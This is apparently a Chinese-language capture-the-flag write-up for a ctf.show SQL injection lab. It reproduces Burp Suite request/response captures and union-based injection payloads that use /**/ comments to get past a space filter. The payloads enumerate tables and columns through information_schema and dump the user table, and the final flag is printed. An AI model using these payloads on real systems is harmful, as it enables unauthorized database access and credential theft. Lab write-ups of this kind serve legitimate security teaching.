

1. 打开进入靶场

使用sqlmap是没有灵魂的

1/150

查询语句

```
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '"$_GET['id']."' limit 1;";
```

用户ID

查询

ID	用户名	密码
1	admin	admin
2	user1	111
3	user2	222
4	userAUTO	passwordAUTO
5	userAUTO	passwordAUTO
6	userAUTO	passwordAUTO
7	userAUTO	passwordAUTO
8	userAUTO	passwordAUTO
9	userAUTO	passwordAUTO
10	userAUTO	passwordAUTO

< 1 2 3 > 到第 1 页 确定 共 24 条 10 条/页

2. 输入2查询，发现列出ID为2的用户信息，在url中没有出现注入点

使用sqlmap是没有灵魂的

1/150

查询语句

```
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '"$_GET['id']."' limit 1;";
```

用户ID

查询

ID	用户名	密码
2	user1	111

< 1 > 到第 1 页 确定 共 1 条 10 条/页

3.用bp抓包发现注入点

```
美化 Raw Hex
1 GET /api/?id=2&page=1&limit=10 HTTP/1.1
2 Host:
  c10a01c3-4f2a-4e22-a336-cfdefe
  45e784.challenge.ctf.show
3 Sec-Ch-Ua: "Chromium";v="127",
  "Not)A;Brand";v="99"
4 Accept: application/json,
  text/javascript, */*; q=0.01
5 X-Requested-With:
  XMLHttpRequest
```

4.发送到重发器，接下来的注入操作在此进行，给id传参得出此为字符型注入，且用单引号闭合

请求	响应
美化 Raw Hex	美化 Raw Hex 页面渲染
1 GET /api/?id=2&page=1&limit=10 HTTP/1.1	1 HTTP/1.1 200 OK
2 Host: c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show	2 Server: nginx/1.20.1
3 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"	3 Date: Fri, 28 Nov 2025 09:32:51 GMT
4 Accept: application/json, text/javascript, */*; q=0.01	4 Content-Type: text/html; charset=UTF-8
5 X-Requested-With: XMLHttpRequest	5 Connection: keep-alive
6 Accept-Language: en-US	6 X-Powered-By: PHP/7.3.11
7 Sec-Ch-Ua-Mobile: ?0	7 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36	8 Access-Control-Allow-Credentials: true
9 Sec-Ch-Ua-Platform: "Linux"	9 Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
10 Sec-Fetch-Site: same-origin	10 Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
11 Sec-Fetch-Mode: cors	11 Access-Control-Max-Age: 1728000
12 Sec-Fetch-Dest: empty	12 Content-Length: 109
13 Referer: https://c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show/	13
14 Accept-Encoding: gzip, deflate, br	14 {"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","password":"111"}]}
15 Priority: u=1, i	
16 Connection: keep-alive	
17	
18	

5.准备查看行数时(在网页可以看出, 但是为了保险), 发现请求失败, 改payload为1'order/**/by/**/1--+成功, 得出过滤了空格, 测试得到行数为3

美化	Raw	Hex
1	GET /api/?id=1'order by	
2	4--+&page=1&limit=10 HTTP/1.1	
3	Host:	
4	c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show	
5	Sec-Ch-Ua: "Chromium";v="127",	
6	"Not)A;Brand";v="99"	
7	Accept: application/json, text/javascript, */*; q=0.01	
8	X-Requested-With: XMLHttpRequest	
9	Accept-Language: en-US	
10	Sec-Ch-Ua-Mobile: ?0	
11	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36	
12	Sec-Ch-Ua-Platform: "Linux"	
13	Sec-Fetch-Site: same-origin	
14	Sec-Fetch-Mode: cors	
15	Sec-Fetch-Dest: empty	
16	Referer:	
17	https://c10a01c3-4f2a-4e22-a336-cfdefe45e784.ch	

美化	Raw	Hex	页面渲染
1	HTTP/1.1 400 Bad Request		
2	Server: nginx/1.20.1		
3	Date: Fri, 28 Nov 2025 09:35:26 GMT		
4	Content-Type: text/plain; charset=utf-8		
5	Connection: keep-alive		
6	Access-Control-Allow-Methods:		
7	GET,POST,PUT,DELETE,OPTIONS		
8	Access-Control-Allow-Credentials: true		
9	Access-Control-Allow-Headers:		
10	DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa		
11	Date,Server,Content-Length,Connection		
12	Access-Control-Max-Age: 1728000		
13	Content-Length: 15		
14			
15	400 Bad Request		

请求	美化	Raw	Hex
1	GET /api/?id=1'order/**/by/**/1--+&page=1&limit=10 HTTP/1.1		
2	Host:		
3	c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show		
4	Sec-Ch-Ua: "Chromium";v="127",		
5	"Not)A;Brand";v="99"		
6	Accept: application/json, text/javascript, */*; q=0.01		
7	X-Requested-With: XMLHttpRequest		
8	Accept-Language: en-US		
9	Sec-Ch-Ua-Mobile: ?0		
10	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36		
11	Sec-Ch-Ua-Platform: "Linux"		
12	Sec-Fetch-Site: same-origin		
13	Sec-Fetch-Mode: cors		
14	Sec-Fetch-Dest: empty		
15	Referer:		
16	https://c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show/		
17	Accept-Encoding: gzip, deflate, br		
18	Priority: u=1,i		

响应	美化	Raw	Hex	页面渲染
1	HTTP/1.1 200 OK			
2	Server: nginx/1.20.1			
3	Date: Fri, 28 Nov 2025 09:38:36 GMT			
4	Content-Type: text/html; charset=UTF-8			
5	Connection: keep-alive			
6	X-Powered-By: PHP/7.3.11			
7	Access-Control-Allow-Methods:			
8	GET,POST,PUT,DELETE,OPTIONS			
9	Access-Control-Allow-Credentials: true			
10	Access-Control-Expose-Headers:			
11	Content-Type,Cookies,Aaa>Date,Server,Content-Length,Connection			
12	Access-Control-Allow-Headers:			
13	DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa			
14	Date,Server,Content-Length,Connection			
15	Access-Control-Max-Age: 1728000			
16	Content-Length: 111			
17				
18	{ "code": 0, "msg": "\u67e5\u8be2\u6210\u529f", "count": 1, "data": [{"id": "1", "username": "admin", "password": "admin"}] }			

6.查看回显, 发现都可以

请求	响应
1 GET /api/?id=1'union/**/select/**/1,2,3---&page=1&limit=10 HTTP/1.1	1 HTTP/1.1 200 OK
2 Host: c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show	2 Server: nginx/1.20.1
3 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"	3 Date: Fri, 28 Nov 2025 09:39:53 GMT
4 Accept: application/json, text/javascript, */*; q=0.01	4 Content-Type: text/html; charset=UTF-8
5 X-Requested-With: XMLHttpRequest	5 Connection: keep-alive
6 Accept-Language: en-US	6 X-Powered-By: PHP/7.3.11
7 Sec-Ch-Ua-Mobile: ?0	7 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36	8 Access-Control-Allow-Credentials: true
9 Sec-Ch-Ua-Platform: "Linux"	9 Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
10 Sec-Fetch-Site: same-origin	10 Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
11 Sec-Fetch-Mode: cors	11 Access-Control-Max-Age: 1728000
12 Sec-Fetch-Dest: empty	12 Content-Length: 152
13 Referer: https://c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show/	13
14 Accept-Encoding: gzip, deflate, br	14 {"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":1,"username":"admin","password":"admin"}, {"id":1,"username":"2","password":"3"}]}
15 Priority: u=1, i	
16 Connection: keep-alive	

7.接下来没有什么过滤了，查看当前数据库所有表格，发现只有一个ctfshow_user表

请求	响应
1 GET /api/?id=1'union/**/select/**/1,2,group_concat(table_name)from/**/information_schema.tables/**/where/**/database()=table_schema---&page=1&limit=10 HTTP/1.1	1 HTTP/1.1 200 OK
2 Host: c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show	2 Server: nginx/1.20.1
3 Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"	3 Date: Fri, 28 Nov 2025 09:42:33 GMT
4 Accept: application/json, text/javascript, */*; q=0.01	4 Content-Type: text/html; charset=UTF-8
5 X-Requested-With: XMLHttpRequest	5 Connection: keep-alive
6 Accept-Language: en-US	6 X-Powered-By: PHP/7.3.11
7 Sec-Ch-Ua-Mobile: ?0	7 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36	8 Access-Control-Allow-Credentials: true
9 Sec-Ch-Ua-Platform: "Linux"	9 Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
10 Sec-Fetch-Site: same-origin	10 Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
11 Sec-Fetch-Mode: cors	11 Access-Control-Max-Age: 1728000
12 Sec-Fetch-Dest: empty	12 Content-Length: 163
13 Referer: https://c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show/	13
	14 {"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":1,"username":"admin","password":"admin"}, {"id":1,"username":"2","password":"ctfshow_user"}]}

8.查看ctfshow_user表列，(为了减少不必要的信息，把payload最前面的1改为-1,这样查不到就不会输出了)

因为这里只有一个表，就不多加条件了，三列分别为id, username, password

```
请求
美化 Raw Hex
1 GET /api/?id=
  1'union/**/select/**/1,2,group_concat(column_name)from/**/information_schema.columns/**/where/**/database()=table_schema--+&page=1&limit=10
HTTP/1.1
2 Host:
  c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show
3 Sec-Ch-Ua: "Chromium";v="127",
  "Not)A;Brand";v="99"
4 Accept: application/json, text/javascript, */*;
  q=0.01
5 X-Requested-With: XMLHttpRequest
6 Accept-Language: en-US
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0;
  Win64; x64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/127.0.6533.100 Safari/537.36
9 Sec-Ch-Ua-Platform: "Linux"
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: cors
12 Sec-Fetch-Dest: empty
13 Referer:
  https://c10a01c3-4f2a-4e22-a336-cfdefe45e784.challenge.ctf.show/

响应
美化 Raw Hex 页面渲染
1 HTTP/1.1 200 OK
2 Server: nginx/1.20.1
3 Date: Fri, 28 Nov 2025 09:51:11 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.11
7 Access-Control-Allow-Methods:
  GET,POST,PUT,DELETE,OPTIONS
8 Access-Control-Allow-Credentials: true
9 Access-Control-Expose-Headers:
  Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
10 Access-Control-Allow-Headers:
  DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
11 Access-Control-Max-Age: 1728000
12 Content-Length: 171
13
14 {"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"admin","password":"admin"}, {"id":"1","username":"1","password":"1"}, {"id":"1","username":"2","password":"id,username,password"}]}
```

9.最后payload:

```
1'union/**/select/**/1,2,group_concat(id,username,password)from/**/ctfshow_user--+
```

查看各列内容，得到flag

```
3userAUTOpasswordAUTO,24userAUTOpasswordAUTO,26
flagctfshow{bc541c8b-40ff-44e9-95a4-226e9437cfc6}}}]}
```